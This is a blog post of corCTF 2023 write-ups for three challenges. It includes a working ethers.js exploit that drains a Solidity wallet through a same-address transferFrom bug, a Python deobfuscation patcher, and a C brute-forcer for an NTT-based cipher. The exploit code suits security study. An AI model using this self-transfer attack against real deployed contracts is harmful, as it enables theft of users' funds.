Home (CTF) corCTF 2023 writeup (diophantus,babyWallet,utterly-tangled)
Post
Cancel

(CTF) corCTF 2023 writeup (diophantus,babyWallet,utterly-tangled)

corCTF twitter

participated with cat :flag_kr: and placed 3rd

blockchain/baby-wallet

(24 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
// 100 ether
contract BabyWallet {
    mapping(address => uint256) public balances;
    mapping(address => mapping(address => uint256)) public allowances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amt) public { // check effect interaction
        require(balances[msg.sender] >= amt, "You can't withdraw that much");
        balances[msg.sender] -= amt;
        (bool success, ) = msg.sender.call{value: amt}("");
        require(success, "Failed to withdraw that amount");
    }

    function approve(address recipient, uint256 amt) public {
        allowances[msg.sender][recipient] += amt;
    }
    ...
    function transferFrom(address from, address to, uint256 amt) public {
        uint256 allowedAmt = allowances[from][msg.sender];
        uint256 fromBalance = balances[from];
        uint256 toBalance = balances[to];

        require(fromBalance >= amt, "You can't transfer that much");
        require(allowedAmt >= amt, "You don't have approval for that amount");

        balances[from] = fromBalance - amt;
        balances[to] = toBalance + amt;
        allowances[from][msg.sender] = allowedAmt - amt;
    }
    ...
}

The goal is to steal all ether (100 ether) from the BabyWallet contract. User starts with 5000 ether.

the vulnerability is in the transferFrom function. If from equals to to,

1
2
balances[from] = fromBalance - amt;
balances[to] = toBalance + amt;

the User can add amt to their balance ( Users must deposit an amount equal to or greater than amt ) I think I saw this vuln on Twitter.

1
2
balances[from] -= amt;
balances[to] += amt;

And thought this code will be safe. the exploit flow:

  1. deposit 100 ether
  2. approve user 100 ether
  3. transfer user to user with 100 ether
  4. withdraw 200 ether
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const ethers  = require('ethers');
const fs = require('fs');
url = 'https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b'
user = '0xE374b91523278549A86a7d3c1b9Cf4B918F1063d'
pvKey = '0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee'
setupAddr = '0x3efA52920e554DF6A8738A717450598f0e3202c4';
// default wallet
/*
ticket{401a09c398b4015b20178132cabba425}
uuid:           381a0939-1e95-42dd-9cda-70a2880adf7b
rpc endpoint:   https://baby-wallet.be.ax/381a0939-1e95-42dd-9cda-70a2880adf7b
private key:    0x450dbd4c36847123df88f1aec977197cba7dd676a725a70bd4fc3ce023a95dee
your address:   0xE374b91523278549A86a7d3c1b9Cf4B918F1063d
setup contract: 0x3efA52920e554DF6A8738A717450598f0e3202c4
*/
async function main() {
    provider = new ethers.providers.JsonRpcProvider(url);
    const signer = new ethers.Wallet(
        pvKey,
        provider
    )
    console.log(ethers.utils.formatUnits(await provider.getBalance(user)).toString());
    setupAbi = JSON.parse(fs.readFileSync('./out/Setup.sol/Setup.json', 'utf8'))['abi'];
    walletAbi = JSON.parse(fs.readFileSync('./out/BabyWallet.sol/BabyWallet.json', 'utf8'))['abi'];
    const setup = new ethers.Contract(setupAddr, setupAbi, signer);
    const walletAddr = await setup.wallet();
    const wallet = new ethers.Contract(walletAddr, walletAbi, signer);

    await wallet.deposit({value: ethers.utils.parseEther('100')});
    await wallet.approve(user, ethers.utils.parseEther('100'));
    await wallet.transferFrom(user,user,ethers.utils.parseEther('100'));
    console.log((await wallet.balances(user)).toString());

    await wallet.withdraw(ethers.utils.parseEther('200'));
    console.log((await provider.getBalance(walletAddr)).toString());
}

main();

corctf{inf1nite_m0ney_glitch!!!}

rev/utterly-deranged

(60 solves)

The huge binary is given. It can’t be decompiled with IDA because it has too many dummy codes that makes branches these codes (test,jnz,jmp) can be removed with nop. I patched the code. if the target address of jmp is 0x416948 or larger, it can be replaced with nop.

patch.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import re
from pwn import *
context.arch="amd64"

f = open("./utterlyderanged","rb").read()
main = f[0x1170:0x16935]
BASE = 0x401170
MAIN_END = 0x416900
breaking = []
breaking.append(re.compile(b'\x75\x05\xe9.{4}')) # jz & jmp
breaking.append(re.compile(asm("test rax,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test al,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rdx,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test dl,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rcx,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test cl,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test rdi,1;")+b'\x0f.{5}'))
breaking.append(re.compile(asm("test dil,1;")+b'\x0f.{5}'))
for b in breaking:
    idxes = list(b.finditer(main))
    for idx in idxes:
        start,end = idx.span()
        opcodes = idx.group()
        addr = u32(opcodes[-4:])+start+BASE+10
        if addr > MAIN_END:
            main = main[:start]+b'\x90'*(end-start)+main[end:]
strange = []
strange.append(asm("test rax,1;nop;"))
strange.append(asm("test al,1;nop;"))
strange.append(asm("test rdx,1;nop;"))
strange.append(asm("test dl,1;nop;"))
strange.append(asm("test rcx,1;nop;"))
strange.append(asm("test cl,1;nop;"))
strange.append(asm("test rdi,1;nop;"))
strange.append(asm("test dl,1;nop;"))
for s in strange:
    idxes = list(re.finditer(s,main))
    for idx in idxes:
        start,end = idx.span()
        main = main[:start]+b'\x90'*(end-start)+main[end:]

out = f[:0x1170]+main+f[0x16935:]
print(len(out))
with open("./utterlyderanged_patched","wb") as f:
    f.write(out)

Now the binary can be decompiled. It has some logic that generate xor table and just xor with input and compare with some data. I just dumped that xor table and xored with some data. xor table. bp at 0x0000000000414F87

corctf{s331ng_thru_my_0p4qu3_pr3d1c4t35}

rev/diophantus

(9 solves)

The binary compiled with Rust is given. It was hard time to analysis the logic due to hidden logic due to decompiler after calling encrypt_ntt function

_$LT$core..slice..iter..IterMut$LT$T$GT$$u20$as$u20$core..iter..traits..iterator..Iterator$GT$::for_each::h034ba2e141d3316a
-> encrypt::main::_$u7b$$u7b$closure$u7d$$u7d$::haec5bb9b009b33ff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def encrypt_ntt(key,buf):
    if len(buf)==1:
        return

    even_array = [0] * (len(buf)//2)
    odd_array = [0] * (len(buf)//2)
    for i in range(len(buf)//2):
        even_array[i] = buf[i*2]
        odd_array[i] = buf[i*2+1]

    encrypt_ntt(key,even_array)
    encrypt_ntt(key,odd_array)
    mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001)
    len_div2 = len(buf)>>1
    v30 = 1
    for i in range(len_div2):
        v15 = v30
        v13 = odd_array[i] * v15 % 0x10001
        buf[i] = (even_array[i]+v13) % 0x10001
        buf[i+len_div2] = (even_array[i]+0x10001 - v13)  % 0x10001
        v30 = v30 * mod % 0x10001

def decrypt_ntt(key, buf):
    if len(buf) == 1:
        return
    even_array_enc = [0] * (len(buf)//2)
    odd_array_enc = [0] * (len(buf)//2)
    mod = pow(key,1<<(16 - int(math.log2(len(buf)))),0x10001)
    len_div2 = len(buf)>>1
    for i in range(len_div2 - 1, -1, -1):
        v30 = pow(mod, i, 0x10001)
        v13 = (buf[i] - buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001
        even_array_enc[i] = (buf[i] + buf[i + len_div2]) * inverse(2, 0x10001) % 0x10001
        odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001

    decrypt_ntt(key, even_array_enc)
    decrypt_ntt(key, odd_array_enc)
    for i in range(len(buf)//2):
        buf[i*2] = int(even_array_enc[i])
        buf[i*2+1] = int(odd_array_enc[i])

def decrypt(inp,key1,key2):
    len_log2 = int(math.log2(len(inp)))+1
    inp = [pow(pow(1<<len_log2>>1,0xffff,0x10001),-1,0x10001)*inp[i] % 0x10001 for i in range(len(inp))]
    decrypt_ntt(key2,inp)
    inp =[(inp[i]-key2) * inverse(key1, 0x10001) % 0x10001 for i in range(len(inp))]
    decrypt_ntt(key1,inp)
    return inp

def encrypt(inp,key1,key2):
    encrypt_ntt(key1,inp)
    inp = [(inp[i]*key1 + key2) for i in range(len(inp))]
    encrypt_ntt(key2,inp)
    inp = [inp[i] * pow(1<<len_log2>>1,0xffff,0x10001) % 0x10001 for i in range(len(inp))]
    return inp

rewrote with python. my teammate @poro helped to write decrypt function.

1
./encrypt flag.txt key1 key2 > flag.enc

the flag was encrypted like above. and i had no idea how to get key1,key2

the range of key each key is 1 ~ 0x10001. So I just bruteforced the key. I rewrote it in c using multithreading and compiled it with the -O3 option.

decrypt.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <pthread.h>

#define THREAD_COUNT 6

long long mod_pow(long long base, long long exp, long long mod) {
    long long result = 1;

    while (exp > 0) {
        if (exp % 2 == 1) {
            result = (result * base) % mod;
        }
        base = (base * base) % mod;
        exp /= 2;
    }

    return result;
}

long long inverse(long long num, long long mod) {
    if (num == 0) {
        return 0;
    }

    return mod_pow(num, mod - 2, mod);
}

void decrypt_ntt(long long key, long long *buf, long long len) {
    if (len == 1) {
        return;
    }

    long long *even_array_enc = (long long *)malloc(len / 2 * sizeof(long long));
    long long *odd_array_enc = (long long *)malloc(len / 2 * sizeof(long long));
    long long mod = mod_pow(key, 1 << (16 - (long long)log2(len)), 0x10001);
    long long len_div2 = len >> 1;
    for (int i = len_div2 - 1; i >= 0; i--) {
        long long v30 = mod_pow(mod, i, 0x10001);
        long long v13 = ((buf[i] - buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001;
        if (v13 < 0) {
            v13 += 0x10001;
        }
        even_array_enc[i] = ((buf[i] + buf[i + len_div2])) * inverse(2, 0x10001) % 0x10001;
        if (even_array_enc[i] < 0) {
            even_array_enc[i] += 0x10001;
        }
        odd_array_enc[i] = v13 * inverse(v30, 0x10001) % 0x10001;
        if (odd_array_enc[i] < 0) {
            odd_array_enc[i] += 0x10001;
        }
    }

    decrypt_ntt(key, even_array_enc, len / 2);
    decrypt_ntt(key, odd_array_enc, len / 2);

    for (long long i = 0; i < len_div2; i++) {
        buf[i * 2] = even_array_enc[i];
        buf[i * 2 + 1] = odd_array_enc[i];
    }

    free(even_array_enc);
    free(odd_array_enc);
}

void decrypt(long long *buf, long long len, long long key1, long long key2) {
    long long len_log2 = (long long)log2(len);
    long long len_div = len >> 1;
    for (int i = 0; i < len_div; i++) {
        buf[i] = buf[i] * inverse(mod_pow(len_div, 0xffff, 0x10001), 0x10001) % 0x10001;
    }
    decrypt_ntt(key2, buf, len_div);
    for (int i = 0; i < len_div; i++) {
        buf[i] = (buf[i] - key2) * inverse(key1, 0x10001) % 0x10001;
    }
    decrypt_ntt(key1, buf, len_div);
}

struct ThreadArgs {
    int *cnt;
    long long key1_start;
    long long key1_end;
    long long *buf;
};

void* threadDecrypt(void* args) {
    struct ThreadArgs* threadArgs = (struct ThreadArgs*)args;
    long long key2 = 0;
    long long buf[512] = {0};
    long long buf2[512] = {0};
    unsigned char out[512] = {0};
    for (int i = 0; i < 256; i++) {
        buf[i] = threadArgs->buf[i];
    }
    for (long long key1 = threadArgs->key1_end; key1 >= threadArgs->key1_start; key1--) {
        for (key2 = 0; key2 <= 0x10001; key2++) {
            memset(buf2, 0, sizeof(buf2));
            for (int i = 0; i < 256; i++) {
                buf2[i] = buf[i];
            }
            decrypt(buf2, 0x40, key1, key2);
            if (buf2[0] == 25455 && buf2[1] == 29283 && buf2[2] == 29798) {
                int c = 0;
                for (int i = 0; i < 256; i++) {
                    out[c++] = buf2[i] >> 8;
                    out[c++] = buf2[i] & 0xff;
                }
                printf("%s\n", out);
                printf("%lld, %lld\n", key1, key2);
            }
        }
        (*threadArgs->cnt)++;
        if(*threadArgs->cnt % 0x10 == 0) {
            printf("%lld\n", key1);
        }
    }
    return NULL;
}

int cnt = 0;
int main(void) {
    unsigned char reader[512] = {0,};
    long long buf[512] = {0,};
    int c = 0;

    // open ./flag.enc
    FILE *fp = fopen("./flag.enc", "r");
    // read flag.enc
    fread(reader, 1, 512, fp);
    for (int i = 0; i < 256; i += 2) {
        buf[c++] = reader[i] << 8 | reader[i + 1];
    }

    // Divide key1 range into THREAD_COUNT parts
    long long key1_range = 0x10001 / THREAD_COUNT;
    pthread_t threads[THREAD_COUNT];
    struct ThreadArgs threadArgs[THREAD_COUNT];

    // Create and run threads
    for (int i = 0; i < THREAD_COUNT; i++) {
        threadArgs[i].key1_start = i * key1_range;
        threadArgs[i].key1_end = (i == THREAD_COUNT - 1) ? 0x10001 : (i + 1) * key1_range - 1;
        threadArgs[i].cnt = &cnt;
        threadArgs[i].buf = buf;
        printf("%lld, %lld\n", threadArgs[i].key1_start, threadArgs[i].key1_end);
        pthread_create(&threads[i], NULL, threadDecrypt, (void*)&threadArgs[i]);
    }

    // Wait for all threads to finish
    for (int i = 0; i < THREAD_COUNT; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

corctf{i_l0v3_s0lv1ng_nUmb3r_th30r3tic_tR@n5f0rmS!!!}

This post is licensed under CC BY 4.0 by the author.
Trending Tags